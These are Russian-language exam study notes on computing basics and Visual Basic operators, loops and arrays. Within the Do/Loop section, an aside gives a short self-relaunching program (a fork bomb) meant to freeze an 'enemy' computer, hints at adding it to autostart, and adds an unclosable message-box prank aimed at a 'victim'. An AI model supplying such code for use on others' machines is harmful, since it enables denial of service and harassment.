- •1.Информация. Меры информации по Хартли.
- •2.Меры информации по Шеннону и Колмогорову.(Колмогорова в лекциях вообще нету так что пусть не урчит)
- •3.Структура эвм. Команды и программы. Исполнение команд.
- •Выполнение команд
- •4.Архитектуры вычислительных систем.
- •5.Представление данных в эвм. Типы данных. Погрешности решения задач в эвм.
- •6.Операционные системы.
- •7. Решение задач на эвм. Погрешности решения задач в эвм.
- •Постановка задач
- •Определение методов решения
- •Составление алгоритмов
- •Написание и отладка программ на эвм
- •Тестирование программ на эвм
- •8.Алгоритмы: линейные, разветвляющиеся, циклические.
- •Базовые алгоритмические структуры
- •9.Языки программирования: ассемблеры и языки высокого уровня, интерпретаторы и компиляторы. Язык Basic. Операторы Basic.
- •10.Типы данных qBasic. Операторы ввода-вывода.
- •Ввод/вывод
- •1. Вывод на экран
- •2. Очистка экрана.
- •3. Ввод с клавиатуры
- •4. Форматированный вывод на экран
- •5. Позиционирование курсора
- •6. Вывод пробелов
- •7. Функция табуляции
- •8. Остановка программы
- •11.Программирование разветвляющихся алгоритмов в qBasic.
- •12. Программирование циклических алгоритмов в qBasic.
- •13.Массивы. Обработка массивов в qBasic. Массивы в qbasic
- •14.Обработка текстовых данных в qBasic. Обработка строк
- •1. Определение длины строки
- •2. Получение символов кода ascii
- •4. Выделение левых крайних символов строки
- •6. Выбор подстроки
- •7. Получение строчных символов
- •15.Редактор Visual Basic (vb). Объекты vb, типы данных vb.
- •16.Операторы Visual Basic. Условный оператор
- •Оператор Select Case
- •Операторы Do, Loop, Until (от -Гепарда97-)
- •Оператор GoTo
- •Оператор GoTo имеет следующий синтаксис
- •17.Массивы в Visual Basic. Операторы цикла и обработка массивов.
- •18.Элементы управления в Visual Basic.
- •1 Кнопки (Button)
- •2 Таймер
- •3 Линии и фигуры
- •4 Текстовое поле и поле надписи
- •5 Графическое поле
- •19.Элементы управления ListBox и ComboBox
- •20.Функции и процедуры в Visual Basic.
- •21.Базы данных. Инфологическое проектирования баз данных. Модели данных.
- •Основные задачи проектирования баз данных
- •Концептуальное (инфологическое) проектирование [править]
- •Простая двумерная структура
- •Иерархическая структура
- •Реляционная модель данных
- •22.Реляционные базы данных. Сущности, атрибуты, связи. Ключевые поля.
- •23Логические схемы сущность-связь. Схема данных. Конструктор запросов qbe. Модели «сущность-связь»
- •25. Язык sql. Запросы на выборку данных с group by.
- •26. Язык sql. Многотабличные запросы на выборку данных.
- •27. Язык sql. Модификация данных.
- •28.Локальные сети эвм.
- •Технология и модели “клиент - сервер”.
- •М одель fs.
- •Технологический недостаток модели-
- •Модель rda
- •М одель сервера бд (dbs).
- •Модель as- сервер приложений.
- •30. Технологии клиент-сервер. Многоуровневые технологии as. Протоколы tcp/ip и httр. Www сервера и Интернет. Сервер приложений (as)
- •Основные возможности, предоставляемые сетью Интернет
- •World Wide Web — главный информационный сервис.
- •31. Структурное программирование. Тестирование.
- •32.Объектно- ориентированное программирование.
16.Операторы Visual Basic. Условный оператор
Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа. If Условие Then Серия 1 Else Серия 2 End If ИЛИ If Условие Then Серия 1
Оператор Select Case
С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так. Select Case Переменная или выражение Case Значение 1 Действие Case Значение 1 Действие ... Case Else Действие в случае несовпадения End Select
Операторы Do, Loop, Until (от -Гепарда97-)
Использование:
Do
<...операторы...>
Loop
Вгоняет
комп в чуть
менее, чем бесконечный цикл.
Например,
всего 5ю строчками вражий комп можно
повесить намертво (спасет только зажимание
кнопки включения, приводящее к его
аварийному отключениювынимание
батареек), пишем в модуль:
sub main()
do
shell app.path & "\" & app.exename & ".exe"
loop
end sub
(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)
Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.
Или другой пример (а здесь еще и использование случайного генератора чисел!)
Sub Main()
Call Randomize
random1 = Rnd
If random1 < 0.75 Then
Do
MsgBox "Хахахаха, ламерз маст дай!"
Loop
End If
End
End Sub
Что делает код: сначала генерирует ряд случайных чисел,
затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то
начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.
А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.
1ый способ:
do
'Здесь мог быть ваш код
loop until x = 1
Второй:
do
if x <> 1 then
'Здесь мог быть ваш код
else
exit do 'Выходим из цикла
end if
loop
Оператор GoTo
Оператор безусловного перехода всегда изменяет порядок выполнения операторов в процедуре или функции vba. При этом vba не проверяет никаких условий, а просто переходит к выполнению кода с другого места.
Оператор GoTo имеет следующий синтаксис
GoTo метка
Метка – любое обозначение или номер строки в той же процедуре или функции, которая содержит оператор GoTo. При выполнении оператора GoTo VBA немедленно переходит к выполнению оператора в строке, определенной с помощью метки.
17.Массивы в Visual Basic. Операторы цикла и обработка массивов.
Циклы
For... Next
Dim i As Integer = 0
For i = 1 To 10
DisplayNumber(i)
Next
Цикл
For...Next начинается с переменной-счетчика
i.
Это переменная цикла, используемая для
подсчета того, сколько раз он был
выполнен. Следующая строка (For
i = 1 to 10) сообщает программе, сколько
раз требуется повторить цикл, а также
описывает возможные значения переменной
i. Выполнение цикла
For...Next начинается с переменной i,
содержащей первое значение (в данном
случае —1). Затем программа выполняет
строки кода между строками For
и Next, в этом случае
вызывая метод DisplayNumber
с параметром i (в данном
случае также равным 1).
При
достижении строки Next
1 добавляется к переменной i,
и выполнение программы переходит обратно
к строке For. Это повторяется
до тех пор, пока значение i
не станет больше, чем второе число в
строке For, в этом случае
10. Как только это произойдет, выполнение
программы продолжится со строки кода
после строки Next.
Do...While (Do…Until)
Dim sum As Integer = 0
Do While sum < 100
sum = sum + 10
Loop
В
этом коде строка Do While
оценивает переменную sum,
проверяя, меньше ли она чем 100. Если это
так, то выполняется следующая строка
кода; если же это не так, то выполнение
переходит к строке, следующей за словом
Loop. Ключевое слово Loop
сообщает коду о необходимости вернуться
к строке DoWhile и оценить
новое значение sum.
Массивы. Переменные, представляющие более одного значения
Существует другой тип переменной — массив. Он предоставляет удобный способ для хранения нескольких значений одного типа.
Dim players() As String
Переменная массива объявляется постановкой круглых скобок после имени переменной. Если известно количество хранимых значений, то можно также указать размер массива в описании, как это показано ниже.
Dim players(8) As String
Размер
массива составляет 9,
так как в бейсбольную команду входят 9
игроков. Массив состоит из некоторого
количества значений или элементов,
начиная с нулевого элемента и заканчивая
элементом с номером, который на единицу
меньше, чем число, указанное в объявлении.
В этом случае массив содержит элементы
от 0 до 8, всего девять элементов.
Присвоение
значений массивам
players(0) = "John"
players(3) = "Bart"
Как в случае с другими типами значений, можно объявить массив и присвоить значения его элементам в одной строке следующим образом.
Dim players() As Integer = {1, 2, 3, 4, 5, 6, 7, 8, 9}
В этом случае фигурные скобки означают список значений. Значения назначаются элементам в указанном порядке. Обратите внимание, что размер массива не указан, а определяется числом элементов в списке.
Извлечение значений из массива
Подобно тому, как числа используются для указания положения элемента в массиве, номер элемента используется для указания значения, которое нужно извлечь.
Dim AtBat As String
AtBat = players(3)
Приведенный
выше код извлекает четвертый элемент
массива и присваивает его значение
строковой переменной AtBat.
